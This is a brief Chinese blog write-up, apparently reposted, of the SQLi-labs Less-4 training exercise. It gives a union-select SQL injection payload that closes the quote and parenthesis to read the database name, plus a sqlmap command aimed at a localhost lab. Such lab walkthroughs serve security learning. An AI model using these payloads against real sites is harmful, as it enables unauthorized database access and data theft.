这道题也是简单到批爆。
在这里输入"，然后提示")，也就是少了")，将后面的"再用--+注释掉就可以了。
?id=1.1") union select 1,2,database() --+
再继续库、表、列名一气呵成就完事了。
sqlmap
sqlmap -u "http://127.0.0.1/Less-4/?id=1" --dbs --batch --no-cast
Less 4
猜你喜欢
转载自www.cnblogs.com/miniboom/p/11981161.html
今日推荐
周排行